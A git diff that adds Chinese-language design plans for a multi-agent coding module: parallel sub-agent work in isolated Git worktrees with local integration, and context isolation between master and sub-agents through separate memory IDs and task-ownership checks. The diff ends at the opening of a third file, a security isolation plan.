+2. 不把“自动 push 到 GitHub / 自动建 PR”作为第一版必需能力。
+3. 不做跨机器或分布式多 Agent 调度。
+4. 不做 DAG 编排或多阶段依赖图调度。
+5. 不做自动冲突修复。
+6. 不做完整角色权限系统或技能中心。
+7. 不做无 Git 环境下的目录复制兼容主方案。
+
+说明:
+
+- 第一版默认依赖本机已安装 Git。
+- 没有 Git 时,应禁用该模式并回退普通单 Agent 模式。
+- GitHub 仅作为后续增强项,不是当前阶段运行前提。
+
+---
+
+## 4. 核心设计原则
+
+### 4.1 默认单 Agent 主链路不回退
+
+`agentteam` 的 worktree 编码能力是新增能力,不替换当前默认执行路径。
+
+### 4.2 共享仓库,隔离工作区
+
+多个子 Agent 不应在同一工作目录下并发改代码,而应使用独立 worktree。
+
+### 4.3 以 Git 交付物为中心
+
+子 Agent 的结果不应只是一段文本,而应是:
+
+- 分支
+- commit
+- diff 摘要
+- 测试结论
+- 集成状态
+
+### 4.4 先支持低冲突任务
+
+第一版只允许“文件范围基本不重叠”的任务并行执行。
+
+### 4.5 先本地闭环,再远程协作
+
+第一版先完成:
+
+- 本地 worktree
+- 本地 branch
+- 本地 commit
+- 本地 merge / cherry-pick
+
+之后再考虑:
+
+- push 到远程
+- GitHub PR
+- 代码评审自动化
+
+---
+
+## 5. 运行前提
+
+### 5.1 必需前提
+
+1. 当前工作目录必须是 Git 仓库。
+2. 当前环境必须可执行 `git --version`。
+3. 仓库工作区应处于可接受状态:
+ - 至少主流程能识别当前基线分支或 HEAD
+ - 可根据策略决定是否允许脏工作树进入多 Agent 模式
+
+### 5.2 可选前提
+
+1. 如用户本地已配置远程仓库,可在后续阶段支持 push。
+2. 如用户本地已配置 GitHub 认证,可在后续阶段支持自动 push。
+
+### 5.3 失败回退
+
+以下场景直接不进入 worktree 模式:
+
+1. 未安装 Git。
+2. 当前目录不是 Git 仓库。
+3. 当前仓库状态不满足安全执行条件。
+4. 任务不适合拆分为独立代码子任务。
+
+回退策略:
+
+- 返回结构化失败原因。
+- 自动回退到普通单 Agent 模式,或提示用户当前环境不支持该模式。
+
+---
+
+## 6. Worktree 模式说明
+
+本方案中的 `worktree` 不是简单复制代码目录,也不是单纯创建分支,而是:
+
+1. 在同一 Git 仓库下创建多个独立工作目录。
+2. 每个工作目录对应独立分支。
+3. 每个子 Agent 只在自己的工作目录中操作代码。
+4. 最终通过本地 Git 集成这些结果。
+
+示例目录:
+
+- 主仓库:`E:\Project\OpenManus-Java`
+- worktree A:`E:\Project\OpenManus-Java\.agentteam\worktrees\task-api`
+- worktree B:`E:\Project\OpenManus-Java\.agentteam\worktrees\task-ui`
+
+示例分支:
+
+- `agentteam/task-api`
+- `agentteam/task-ui`
+- `agentteam/integration-`
+
+---
+
+## 7. 总体架构建议
+
+建议在现有 `agentteam` 模块中新增一条“并行编码编排链路”,而不是继续扩展当前内存 worker 逻辑。
+
+推荐分层如下:
+
+### 7.1 Domain 层
+
+职责:
+
+- 定义并行编码任务模型。
+- 定义 worktree 会话模型。
+- 定义子 Agent 结构化结果模型。
+- 定义集成结果模型。
+
+建议新增模型:
+
+1. `CodeTaskGroup`
+2. `CodeSubTask`
+3. `WorktreeSession`
+4. `SubAgentCodingResult`
+5. `IntegrationResult`
+
+### 7.2 Application 层
+
+职责:
+
+- 判断任务是否适合并行编码。
+- 生成代码子任务计划。
+- 调用 worktree 设施创建隔离工作区。
+- 调度子 Agent 执行编码任务。
+- 收集结果并组织集成流程。
+
+建议新增服务:
+
+1. `ParallelCodingPlanner`
+2. `ParallelCodingOrchestrator`
+3. `SubAgentCodingExecutionService`
+4. `IntegrationCoordinator`
+
+### 7.3 Infra 层
+
+职责:
+
+- 调用本地 Git 命令。
+- 创建 / 清理 worktree。
+- 获取仓库状态、分支状态、提交信息。
+- 组织本地 merge 或 cherry-pick。
+
+建议新增适配器:
+
+1. `GitWorktreeProvisioningService`
+2. `LocalGitRepositoryInspector`
+3. `LocalGitIntegrationService`
+
+---
+
+## 8. 关键组件职责
+
+### 8.1 `GitWorktreeProvisioningService`
+
+职责:
+
+1. 检查 Git 是否可用。
+2. 检查当前目录是否为 Git 仓库。
+3. 创建 worktree。
+4. 删除 worktree。
+5. 创建或绑定分支。
+6. 查询 worktree 列表和状态。
+7. 为失败任务做清理回收。
+
+它不负责:
+
+1. 不负责任务拆分。
+2. 不负责模型推理。
+3. 不负责 GitHub 登录。
+4. 不负责复杂业务决策。
+
+### 8.2 `ParallelCodingPlanner`
+
+职责:
+
+1. 判断任务是否适合并行编码。
+2. 输出子任务边界。
+3. 给出每个子任务的文件范围、验证命令、风险等级。
+
+### 8.3 `SubAgentCodingExecutionService`
+
+职责:
+
+1. 将子任务映射到指定 worktree。
+2. 让子 Agent 在该 worktree 中独立执行。
+3. 收集结构化执行结果。
+
+### 8.4 `IntegrationCoordinator`
+
+职责:
+
+1. 创建集成分支。
+2. 按顺序合并或 cherry-pick 子任务结果。
+3. 检测冲突。
+4. 触发集成验证。
+5. 输出最终结果报告。
+
+---
+
+## 9. Git 命令能力范围
+
+第一版建议封装以下 Git 操作:
+
+1. `git --version`
+2. `git rev-parse --is-inside-work-tree`
+3. `git branch --show-current`
+4. `git rev-parse HEAD`
+5. `git status --short`
+6. `git worktree list --porcelain`
+7. `git worktree add -b `
+8. `git worktree remove --force`
+9. `git add ...`
+10. `git commit -m ...`
+11. `git checkout -b `
+12. `git cherry-pick `
+13. `git merge --no-ff `
+
+说明:
+
+- 第一版优先支持本地命令闭环。
+- 远程命令如 `git push` 不进入当前必做范围。
+
+---
+
+## 10. 子任务拆分规则建议
+
+并行编码能否成功,关键不在“并发数”,而在“拆分质量”。
+
+第一版建议主 Agent 强制输出以下字段:
+
+1. `title`
+2. `goal`
+3. `ownedPaths`
+4. `forbiddenPaths`
+5. `verificationCommands`
+6. `dependsOn`
+7. `conflictRisk`
+
+并行准入规则建议:
+
+1. `dependsOn` 为空。
+2. `ownedPaths` 基本不重叠。
+3. `conflictRisk` 不高。
+4. 每个子任务都具备最小可验证命令。
+
+不满足时回退单 Agent。
+
+---
+
+## 11. 执行流程建议
+
+第一版推荐固定成以下流程:
+
+1. 用户提交编码任务。
+2. 主 Agent 评估是否适合并行。
+3. 若不适合,则走单 Agent。
+4. 若适合,则生成多个 `CodeSubTask`。
+5. 为每个子任务创建独立 worktree 与分支。
+6. 子 Agent 在各自 worktree 中执行:
+ - 阅读代码
+ - 修改代码
+ - 运行限定验证
+ - 生成结果摘要
+ - 可选自动提交 commit
+7. 主 Agent 收集全部结果。
+8. 创建集成分支。
+9. 顺序 cherry-pick 或 merge 各子结果。
+10. 跑集成验证。
+11. 输出最终报告。
+
+---
+
+## 12. 合并策略建议
+
+第一版建议优先使用保守策略:
+
+### 12.1 首选:`cherry-pick`
+
+优点:
+
+1. 更可控。
+2. 更适合按结果顺序集成。
+3. 失败点更明确。
+
+### 12.2 次选:`merge`
+
+适用于:
+
+1. 子任务分支更完整。
+2. 需要保留分支结构语义。
+
+### 12.3 冲突策略
+
+第一版不做自动冲突修复。
+
+出现冲突时:
+
+1. 记录冲突分支与文件。
+2. 停止后续自动集成。
+3. 返回失败状态给主 Agent。
+4. 由主 Agent 决定是否提示人工介入或回退单 Agent 收敛。
+
+---
+
+## 13. 结果交付协议建议
+
+子 Agent 的编码结果建议结构化为:
+
+1. `status`
+2. `summary`
+3. `changedFiles`
+4. `branchName`
+5. `commitSha`
+6. `worktreePath`
+7. `testPassed`
+8. `testSummary`
+9. `errorMessage`
+
+主 Agent 的最终结果建议包含:
+
+1. 总任务状态
+2. 每个子任务状态
+3. 集成分支名
+4. 集成测试结果
+5. 成功分支列表
+6. 失败分支列表
+7. 冲突文件列表
+
+---
+
+## 14. 分步开发计划
+
+以下步骤采用可持续推进方式;完成后在步骤前改为 `[x]`。
+
+### 阶段 A:方案与边界收敛
+
+- [x] 第 1 步:补齐 worktree 并行编码方案文档
+ - 明确第一版范围
+ - 明确 Git 与 GitHub 的边界
+ - 明确回退策略
+
+- [x] 第 2 步:梳理现有 `agentteam` 与新链路的关系
+ - 保持当前 `MasterAgentOrchestrator` 不被直接污染
+ - 明确新增 `coding` 链路入口
+
+完成标准:
+
+- 方案边界清晰。
+- 团队对“第一版只做本地 Git 闭环”达成一致。
+
+### 阶段 B:Git 基础设施能力
+
+- [x] 第 3 步:新增 Git 环境探测能力
+ - 检查 `git --version`
+ - 检查是否为 Git 仓库
+ - 检查当前分支 / HEAD
+
+- [x] 第 4 步:新增 worktree 生命周期适配器
+ - 创建 worktree
+ - 删除 worktree
+ - 查询 worktree 列表
+ - 查询分支绑定关系
+
+- [x] 第 5 步:新增基础异常与错误码收口
+ - Git 不可用
+ - 非 Git 仓库
+ - 创建 worktree 失败
+ - 清理失败
+
+完成标准:
+
+- 可以独立创建并销毁测试用 worktree。
+- 基础失败路径有稳定错误输出。
+
+### 阶段 C:并行编码任务模型
+
+- [x] 第 6 步:定义并行编码领域模型
+ - `CodeTaskGroup`
+ - `CodeSubTask`
+ - `WorktreeSession`
+ - `SubAgentCodingResult`
+ - `IntegrationResult`
+
+- [x] 第 7 步:定义代码子任务规划输出协议
+ - `ownedPaths`
+ - `forbiddenPaths`
+ - `verificationCommands`
+ - `dependsOn`
+ - `conflictRisk`
+
+完成标准:
+
+- 模型与现有 `TaskGroup / SubTask` 区分清晰。
+- 结果模型以 Git 交付物为中心。
+
+### 阶段 D:子 Agent worktree 执行
+
+- [x] 第 8 步:实现子 Agent 与 worktree 绑定执行
+ - 子 Agent 只在指定 worktree 目录下操作
+ - 绑定独立 branch / session 信息
+
+- [x] 第 9 步:实现子 Agent 结构化结果收集
+ - 记录变更文件
+ - 记录 commit
+ - 记录测试结果
+
+- [x] 第 10 步:实现子 Agent 自动提交策略
+ - 成功时自动 commit
+ - 提交信息带任务标识
+
+完成标准:
+
+- 单个子 Agent 可在独立 worktree 中完成一次编码闭环。
+
+### 阶段 E:主 Agent 并行编排
+
+- [x] 第 11 步:实现并行编码任务可拆分判断
+ - 不适合拆分时回退单 Agent
+ - 适合时生成 2~N 个子任务
+
+- [x] 第 12 步:实现主 Agent 并发调度多个 worktree 子 Agent
+ - 创建多个 worktree
+ - 并行执行
+ - 回收执行结果
+
+- [x] 第 13 步:实现部分失败处理
+ - 子任务失败时保留结果
+ - 支持终止集成或仅汇总状态
+
+完成标准:
+
+- 主 Agent 能并发驱动多个代码子任务执行。
+
+### 阶段 F:集成与验证
+
+- [x] 第 14 步:实现集成分支创建
+ - 基于当前基线创建 integration branch
+
+- [x] 第 15 步:实现顺序 cherry-pick / merge 策略
+ - 优先 cherry-pick
+ - 冲突时终止并返回详细信息
+
+- [x] 第 16 步:实现集成验证
+ - compile
+ - 目标测试
+ - 汇总测试结果
+
+完成标准:
+
+- 成功子任务可被集成回统一分支。
+- 集成后有统一验证结果。
+
+### 阶段 G:接口与可观测性
+
+- [x] 第 17 步:新增并行编码应用服务入口
+ - 与当前普通 `agentteam` 协作入口分离
+ - 保持默认主链路不受影响
+
+- [x] 第 18 步:补充执行事件与状态输出
+ - worktree 创建中
+ - 子 Agent 执行中
+ - 集成中
+ - 成功 / 失败
+
+- [x] 第 19 步:前端补充多 Agent 编码状态展示
+ - 每个子任务状态
+ - 分支 / worktree / 测试结果
+ - 集成结果
+
+完成标准:
+
+- 用户可感知每个 Agent 在做什么。
+
+### 阶段 H:测试与回归
+
+- [x] 第 20 步:补 Git worktree 基础设施测试
+ - 环境探测
+ - worktree 创建 / 清理
+ - 错误路径
+
+- [x] 第 21 步:补并行编码链路测试
+ - 单子任务
+ - 多子任务
+ - 部分失败
+ - 冲突终止
+
+- [ ] 第 22 步:补单 Agent 回归测试
+ - 默认执行路径不受影响
+
+完成标准:
+
+- worktree 模式有稳定自动化验证。
+- 默认单 Agent 路径无回退。
+
+---
+
+## 15. 第一版验收标准
+
+### 功能验收
+
+1. 可检测当前环境是否支持 Git worktree 模式。
+2. 可创建至少 2 个独立 worktree。
+3. 每个子 Agent 可在独立 worktree 中完成修改与本地验证。
+4. 可输出结构化编码结果。
+5. 主 Agent 可集成多个成功结果。
+6. 冲突与失败路径可被识别和上报。
+
+### 架构验收
+
+1. 默认单 Agent 链路不回退。
+2. `agentteam` 新能力通过清晰接口接入。
+3. 不把 Git 逻辑散落到 Controller。
+4. 不把 worktree 协作逻辑下沉为过度抽象框架。
+
+### 测试验收
+
+1. `compile` 通过。
+2. 默认 `test` 通过。
+3. 新增 worktree 基础能力测试通过。
+4. 新增并行编码 smoke test 通过。
+
+---
+
+## 16. 后续增强方向
+
+第一版稳定后,再评估以下增强:
+
+1. 支持 push 到远程分支。
+2. 支持 GitHub PR 自动创建。
+3. 支持更细粒度冲突预测。
+4. 支持更强的文件隔离与权限控制。
+5. 支持 DAG 型编码任务调度。
+6. 支持更丰富的协作消息协议。
+
+---
+
+## 17. 当前结论
+
+参考 Claude Code 的方向,`agentteam` 下一阶段最合理的演进路径不是继续强化“共享工作区并发”,而是:
+
+**将多 Agent 编码能力收敛为“Git worktree + 独立分支 + 子 Agent 隔离执行 + 主 Agent 本地集成”的最小可运行闭环。**
+
+当前建议的第一步不是立刻大规模改代码,而是:
+
+1. 先补齐 Git 基础设施与错误边界。
+2. 再补 worktree 绑定的子 Agent 执行。
+3. 再补主 Agent 并行编排与本地集成。
+
+这样能在不破坏现有单 Agent 主链路的前提下,稳步推进到“多 Agent 并行写代码”。
diff --git "a/src/main/java/com/openmanus/agentteam/docs/\344\270\212\344\270\213\346\226\207\351\232\224\347\246\273/AGENT_TEAM_CONTEXT_ISOLATION_PLAN.md" "b/src/main/java/com/openmanus/agentteam/docs/\344\270\212\344\270\213\346\226\207\351\232\224\347\246\273/AGENT_TEAM_CONTEXT_ISOLATION_PLAN.md"
new file mode 100644
index 0000000..7b13be1
--- /dev/null
+++ "b/src/main/java/com/openmanus/agentteam/docs/\344\270\212\344\270\213\346\226\207\351\232\224\347\246\273/AGENT_TEAM_CONTEXT_ISOLATION_PLAN.md"
@@ -0,0 +1,563 @@
+# Agent Team 上下文隔离开发方案
+
+本文档用于规划 `agentteam` 在完成提示词隔离、工具隔离之后的下一阶段工作:上下文隔离。
+
+当前目标不是一次性复刻 Claude Code 的完整 Subagent 机制,而是在现有 `agentteam` 最小协作链路上,逐步补齐父 Agent、Team Master、SubAgent 之间的运行时边界。
+
+## 1. 背景
+
+当前 `agentteam` 已经具备以下基础能力:
+
+1. Team Master 可以判断任务是否适合拆分。
+2. Team Master 可以生成多个 `SubTask`。
+3. 多个 `SubAgentWorker` 可以从任务池中领取并执行子任务。
+4. SubAgent 已经具备独立的系统提示词。
+5. Team Master 和 SubAgent 已经具备不同的工具策略。
+6. 主流程可以聚合子任务成功和失败结果。
+
+但当前上下文边界仍然不够显式:
+
+1. SubAgent 的聊天记忆隔离主要依赖 `taskId`,缺少统一的 memoryId 生成规则。
+2. SubAgent 执行时缺少显式的 `parentSessionId/groupId/taskId/agentId/depth` 运行身份。
+3. 子任务描述中尚未稳定承载 Team Master 下发的必要背景上下文。
+4. 任务状态写回缺少 agentId 级别的所有权校验。
+5. 消息总线已有雏形,但 mailbox 消息尚未真正注入 SubAgent 执行上下文。
+
+因此下一阶段应先完成上下文隔离的最小闭环,再逐步增强消息驱动通信和恢复能力。
+
+## 2. 目标
+
+本阶段目标是让每个 SubAgent 成为一个具有清晰运行边界的执行单元:
+
+1. SubAgent 不读取父 Agent 的完整聊天历史。
+2. SubAgent 使用独立的聊天 memoryId。
+3. SubAgent 只接收 Team Master 下发的当前子任务和必要上下文切片。
+4. SubAgent 只能更新自己领取的任务状态。
+5. Team Master 保留任务组视图和结果聚合职责。
+6. 普通单 Agent 主链路不受影响。
+
+完成后应满足:
+
+- 父 Agent 的 memory 与 SubAgent memory 分离。
+- SubAgent 的任务上下文由后端明确注入,而不是由 SubAgent 自行读取父上下文。
+- 任务状态读写有明确归属,避免多个 worker 互相污染。
+- 后续可以平滑演进到消息驱动通信、失败重试、恢复执行。
+
+## 3. 非目标
+
+本阶段不做以下内容:
+
+1. 不实现 Fork Subagent 或 prompt cache 优化。
+2. 不实现 completed SubAgent 自动唤醒。
+3. 不实现完整事件总线。
+4. 不实现跨进程或分布式 Agent Team。
+5. 不引入复杂 RBAC 权限系统。
+6. 不让 SubAgent 直接读取父 Agent 完整聊天历史。
+7. 不让 SubAgent 再次创建新的 SubAgent。
+8. 不把上下文隔离逻辑下沉为 `aiframework` 通用框架能力。
+
+## 4. 上下文分类与隔离策略
+
+### 4.1 聊天上下文
+
+含义:
+
+- system message
+- user message
+- assistant message
+- tool call message
+- tool result message
+- 当前 memoryId 对应的历史消息
+
+隔离策略:
+
+- 父 Agent 使用父会话 memoryId。
+- SubAgent 使用独立 memoryId。
+- SubAgent 不直接读取父 Agent memory。
+- 如需父任务背景,由 Team Master 生成 summary 后写入 `SubTask`。
+
+建议 memoryId 格式:
+
+```text
+agentteam:{parentSessionId}:{groupId}:{taskId}:{agentId}
+```
+
+第一版可以先不做复杂转义,仅保证格式稳定。后续如 sessionId 中存在特殊字符,再补充 sanitize。
+
+### 4.2 任务上下文
+
+含义:
+
+- `TaskGroup`
+- `SubTask`
+- `TaskStatus`
+- `claimedBy`
+- 子任务标题、描述、必要背景
+- 子任务结果、失败原因
+
+隔离策略:
+
+- Team Master 拥有 TaskGroup 全局视图。
+- SubAgent 只接收当前 `SubTask` 的任务切片。
+- `SubTask` 中应包含 Team Master 下发的 `contextSummary`。
+- Worker 从 `TaskPoolPort` claim 子任务。
+- 任务成功/失败写回时必须校验 `agentId` 与任务领取者一致。
+
+### 4.3 工具上下文
+
+含义:
+
+- 当前角色可用工具列表
+- 工具 schema
+- 工具执行结果
+
+隔离策略:
+
+- 继续沿用 `TeamMasterToolPolicy` 与 `SubAgentToolPolicy`。
+- SubAgent 不拥有调度类工具。
+- SubAgent 工具调用历史保留在自己的 memory 中。
+- Team Master 只消费子任务汇总结果,不消费 SubAgent 完整工具历史。
+
+### 4.4 执行状态上下文
+
+含义:
+
+- ReAct/CodeAct 循环中的 plan
+- inProgress
+- todo
+- lastFailure
+- pending tool results
+- 重复工具调用检测状态
+
+隔离策略:
+
+- 第一版依赖每次 `AgentCoordinator.execute` 的局部状态自然隔离。
+- 通过独立 SubAgent memoryId,避免执行状态卡片进入父 Agent 历史。
+- 后续如要 resume,再把执行状态纳入 `AgentTeamExecutionContext` 或独立状态仓储。
+
+### 4.5 环境上下文
+
+含义:
+
+- workspace
+- sandbox
+- session sandbox
+- 当前项目目录
+- shell/browser/python 执行环境
+
+隔离策略:
+
+- 第一版允许 SubAgent 共享父 session 的 workspace/sandbox。
+- 共享环境不等于共享聊天 memory。
+- `parentSessionId` 用于环境归属。
+- `memoryId` 用于聊天历史归属。
+
+### 4.6 身份上下文
+
+含义:
+
+- role
+- parentSessionId
+- groupId
+- taskId
+- agentId
+- depth
+- memoryId
+
+隔离策略:
+
+- 新增显式 `AgentTeamExecutionContext`。
+- 每次 Team Master 或 SubAgent 执行都构造上下文对象。
+- 第一版 `depth` 对 SubAgent 固定为 `1`。
+- 后续用于防递归、日志追踪、事件 metadata、消息路由。
+
+### 4.7 消息上下文
+
+含义:
+
+- `AgentMessage`
+- mailbox unread/read 状态
+- fromAgentId/toAgentId
+- message type
+- content
+
+隔离策略:
+
+- 当前阶段保留 message bus 雏形。
+- 第一版上下文隔离不强制实现动态消息注入。
+- 后续增强时,Worker 拉取 mailbox 后应把消息渲染为 SubAgent prompt 的一部分,而不是只标记已读。
+
+### 4.8 结果上下文
+
+含义:
+
+- summary
+- detail
+- evidence
+- errorMessage
+- status
+
+隔离策略:
+
+- SubAgent 输出结构化结果。
+- Team Master 只读取 `SubTaskExecutionOutput` / `TaskGroupResult`。
+- Team Master 不直接读取 SubAgent 完整 memory 或完整工具调用轨迹。
+
+## 5. 分阶段开发计划
+
+## 阶段 A:聊天上下文 memoryId 隔离(已完成)
+
+目标:
+
+- SubAgent 使用明确的独立 memoryId。
+- 不再直接使用裸 `taskId` 作为 SubAgent conversationId。
+
+建议改动:
+
+1. 新增 `AgentTeamMemoryIds`。
+2. 提供 SubAgent memoryId 生成方法。
+3. 修改 `SubAgentExecutionService`,调用 role runtime 时使用生成后的 memoryId。
+
+建议类:
+
+```text
+src/main/java/com/openmanus/agentteam/application/AgentTeamMemoryIds.java
+```
+
+建议 API:
+
+```java
+public final class AgentTeamMemoryIds {
+
+ public static String subAgent(String parentSessionId, String groupId, String taskId, String agentId) {
+ return String.join(":",
+ "agentteam",
+ safe(parentSessionId),
+ safe(groupId),
+ safe(taskId),
+ safe(agentId));
+ }
+}
+```
+
+验收标准:
+
+1. SubAgent memoryId 以 `agentteam:` 开头。
+2. SubAgent memoryId 包含 `groupId/taskId/agentId`。
+3. SubAgent memoryId 不等于父 `conversationId`。
+4. 现有单 Agent 回归测试不受影响。
+
+建议测试:
+
+- `SubAgentExecutionIsolationTest`
+- 新增 `AgentTeamMemoryIdsTest`
+
+## 阶段 B:任务上下文切片(已完成)
+
+目标:
+
+- SubTask 显式携带 Team Master 下发的必要背景。
+- SubAgent prompt 只注入当前子任务切片。
+
+建议改动:
+
+1. 为 `SubTaskPlan` 增加 `contextSummary`。
+2. 为 `SubTask` 增加 `contextSummary`。
+3. 调整 `TaskDecompositionService` 的解析与兜底逻辑。
+4. 调整 `subagent-execution.prompt.md`,注入 `contextSummary`。
+5. 调整 `SubAgentExecutionService.buildSubTaskPrompt`。
+
+`contextSummary` 第一版来源:
+
+- 优先使用模型拆解 JSON 中每个子任务的 `contextSummary`。
+- 如果缺失,则使用父任务输入生成简单兜底背景。
+
+兜底示例:
+
+```text
+Parent request:
+{{userInput}}
+
+Team instruction:
+Complete only this assigned subtask. Return concise evidence and result for Team Master aggregation.
+```
+
+验收标准:
+
+1. SubAgent prompt 包含当前任务的 `title/description/contextSummary`。
+2. SubAgent prompt 不包含其他 SubTask 的 description。
+3. 当 LLM 拆解结果缺少 `contextSummary` 时,系统能生成兜底上下文。
+
+建议测试:
+
+- `TaskDecompositionServiceTest`
+- `SubAgentExecutionIsolationTest`
+- `MasterAgentOrchestratorTest`
+
+## 阶段 C:显式执行上下文(已完成)
+
+目标:
+
+- 将 role、parentSessionId、groupId、taskId、agentId、depth、memoryId 收束到统一对象。
+- 为后续日志、事件、消息、恢复提供稳定入口。
+
+建议新增:
+
+```text
+src/main/java/com/openmanus/agentteam/application/AgentTeamExecutionContext.java
+```
+
+建议结构:
+
+```java
+public record AgentTeamExecutionContext(
+ AgentTeamRole role,
+ String parentSessionId,
+ String groupId,
+ String taskId,
+ String agentId,
+ int depth,
+ String memoryId
+) {
+
+ public static AgentTeamExecutionContext subAgent(
+ String parentSessionId,
+ String groupId,
+ String taskId,
+ String agentId
+ ) {
+ return new AgentTeamExecutionContext(
+ AgentTeamRole.SUB_AGENT,
+ parentSessionId,
+ groupId,
+ taskId,
+ agentId,
+ 1,
+ AgentTeamMemoryIds.subAgent(parentSessionId, groupId, taskId, agentId)
+ );
+ }
+}
+```
+
+建议改动:
+
+1. 调整 `AgentTeamRoleExecutionPort`,新增基于 context 的执行方法。
+2. 调整 `AgentTeamRoleExecutionService`,从 context 读取 role 和 memoryId。
+3. 调整 `SubAgentExecutionService`,使用 context 构造 prompt 和执行请求。
+4. 在 MDC 或日志中补充 context 字段。
+
+验收标准:
+
+1. SubAgent 执行入口不再只传 `AgentTeamRole + conversationId`。
+2. 测试中可以断言 SubAgent context 的 role、memoryId、agentId。
+3. 日志中能追踪 parentSessionId、groupId、taskId、agentId。
+
+建议测试:
+
+- 新增 `AgentTeamExecutionContextTest`
+- 调整 `SubAgentExecutionIsolationTest`
+- 调整 `AgentTeamRoleExecutionServiceTest` 或补充现有测试
+
+## 阶段 D:任务状态写入所有权校验(已完成)
+
+目标:
+
+- SubAgent 只能写回自己 claim 的任务。
+- 避免多个 worker 或异常路径污染其他任务状态。
+
+建议改动:
+
+1. 调整 `TaskPoolPort`:
+
+```java
+void markSucceeded(String taskId, String agentId, String summary, String detail);
+
+void markFailed(String taskId, String agentId, String errorMessage);
+```
+
+2. 调整 `InMemoryTaskPool` 实现。
+3. 在写回前校验任务当前领取者。
+4. 调整 `SubAgentWorker.executeClaimedTask` 调用。
+
+建议规则:
+
+```text
+PENDING 任务不能直接 markSucceeded/markFailed。
+未被当前 agentId claim 的任务不能被当前 agentId 写回。
+已完成任务不能再次写回,除非后续明确引入 retry/reopen。
+```
+
+验收标准:
+
+1. 正常领取任务的 worker 可以写回成功/失败。
+2. 非领取者写回任务会失败。
+3. 未领取任务不能直接写回成功。
+4. 现有并行任务测试仍通过。
+
+建议测试:
+
+- `InMemoryTaskPoolTest`
+- `MasterAgentOrchestratorTest`
+
+## 阶段 E:结果上下文结构化
+
+目标:
+
+- SubAgent 输出更适合 Team Master 汇总。
+- 减少父流程读取 SubAgent 完整执行历史的需求。
+
+建议改动:
+
+1. 扩展 `SubTaskExecutionOutput`。
+2. 在 SubAgent prompt 中约束输出格式。
+3. 在 `SubAgentExecutionService` 中做最小解析或保守降级。
+4. `DefaultResultAggregationService` 优先消费结构化字段。
+
+可选结构:
+
+```java
+public record SubTaskExecutionOutput(
+ String summary,
+ String detail,
+ List evidence,
+ String errorMessage
+) {
+}
+```
+
+第一版可保留兼容:
+
+- 如果无法解析结构化输出,则继续使用原始文本作为 `detail`。
+- `summary` 仍使用当前摘要逻辑兜底。
+
+验收标准:
+
+1. SubAgent 结果包含 summary。
+2. 可选 evidence 能被聚合服务展示。
+3. 解析失败不影响主链路完成。
+
+## 阶段 F:消息上下文注入
+
+目标:
+
+- 让现有 `AgentMessageBusPort` 从“只存消息”演进为“可影响 SubAgent 执行”的消息机制。
+
+建议改动:
+
+1. 调整 `SubAgentWorker.drainMailbox`,返回 unread messages。
+2. 将 unread messages 传给 `SubAgentExecutionService`。
+3. 在 `buildSubTaskPrompt` 中注入 mailbox context。
+4. 只在成功注入后标记消息已读,避免消息丢失。
+
+建议 prompt 片段:
+
+```text
+[Messages From Team Master]
+- {{message}}
+[/Messages From Team Master]
+```
+
+验收标准:
+
+1. 发给某个 agentId 的消息只被该 agent 消费。
+2. unread 消息能出现在 SubAgent prompt。
+3. 消息注入后被标记为已读。
+4. 无消息时不影响当前执行链路。
+
+建议测试:
+
+- `InMemoryAgentMessageBusTest`
+- 新增 `SubAgentMailboxContextTest`
+
+## 阶段 G:可观测性与文档收口
+
+目标:
+
+- 让上下文隔离行为可测试、可排查、可说明。
+
+建议改动:
+
+1. 日志中输出 context 摘要:
+ - role
+ - parentSessionId
+ - groupId
+ - taskId
+ - agentId
+ - memoryId
+2. execution event metadata 中补充 context 字段。
+3. 更新 `docs/DEVELOPMENT_PROGRESS.md`。
+4. 补充上下文隔离测试说明。
+
+验收标准:
+
+1. compile 通过。
+2. 默认 test 通过。
+3. 上下文隔离相关测试覆盖:
+ - memoryId 隔离
+ - task prompt 切片
+ - task ownership 校验
+ - mailbox 注入
+
+## 6. 推荐实施顺序
+
+建议按以下顺序推进:
+
+1. 阶段 A:聊天 memoryId 隔离。
+2. 阶段 B:任务上下文切片。
+3. 阶段 C:显式执行上下文。
+4. 阶段 D:任务状态写入所有权校验。
+5. 阶段 E:结果上下文结构化。
+6. 阶段 F:消息上下文注入。
+7. 阶段 G:可观测性与文档收口。
+
+其中 A-D 是本轮上下文隔离 MVP 的核心。E-G 可以在 MVP 稳定后继续增强。
+
+## 7. 第一版建议验收口径
+
+功能验收:
+
+1. Team Master 拆分出的每个 SubTask 都带有必要背景上下文。
+2. SubAgent 执行时使用独立 memoryId。
+3. SubAgent prompt 只包含当前子任务切片。
+4. SubAgent 成功/失败只能写回自己领取的任务。
+5. Team Master 可以聚合多个 SubAgent 的结果并返回最终输出。
+
+测试验收:
+
+1. `./scripts/mvnw-local.sh -q -DskipTests compile`
+2. `./scripts/mvnw-local.sh -q -DskipITs test`
+3. 新增上下文隔离相关测试通过。
+
+架构验收:
+
+1. 上下文隔离逻辑收口在 `agentteam` 模块。
+2. 不污染普通单 Agent 默认主链路。
+3. 不把 SubAgent 的完整聊天历史塞回父 Agent memory。
+4. 不为了未来扩展提前引入复杂调度框架。
+
+## 8. 后续增强方向
+
+当上下文隔离 MVP 稳定后,再评估:
+
+1. SubAgent resume。
+2. completed SubAgent 唤醒。
+3. XML 或结构化 task notification。
+4. 更细粒度的上下文摘要器。
+5. 长任务 auto-background。
+6. prompt cache / Fork Subagent 优化。
+7. 持久化 TaskPool / MessageBus。
+
+## 9. 当前结论
+
+提示词隔离和工具隔离完成之后,下一步不应继续堆叠更多 Team 能力,而应优先补齐上下文隔离。
+
+本阶段最小闭环是:
+
+```text
+SubAgent 独立 memoryId
++ SubTask contextSummary
++ AgentTeamExecutionContext
++ task ownership 校验
+```
+
+这四项完成后,`agentteam` 才真正具备清晰的父子 Agent 运行边界。后续再做消息驱动通信、失败恢复、自动后台化,会有稳定落点。
diff --git "a/src/main/java/com/openmanus/agentteam/docs/\345\256\211\345\205\250\351\232\224\347\246\273\346\226\271\346\241\210.md" "b/src/main/java/com/openmanus/agentteam/docs/\345\256\211\345\205\250\351\232\224\347\246\273\346\226\271\346\241\210.md"
new file mode 100644
index 0000000..3501b96
--- /dev/null
+++ "b/src/main/java/com/openmanus/agentteam/docs/\345\256\211\345\205\250\351\232\224\347\246\273\346\226\271\346\241\210.md"
@@ -0,0 +1,404 @@
+# AgentTeam 安全隔离方案
+
+> **架构参考**: Claude Code 源码(`E:\Project\claude-code`)
+> **设计原则**: 不引入 Docker 之外的重量级依赖,在现有架构上叠加安全层,分步实施。
+
+---
+
+## 1. 当前状态
+
+### 1.1 已有安全措施
+
+| 措施 | 文件 | 说明 |
+|------|------|------|
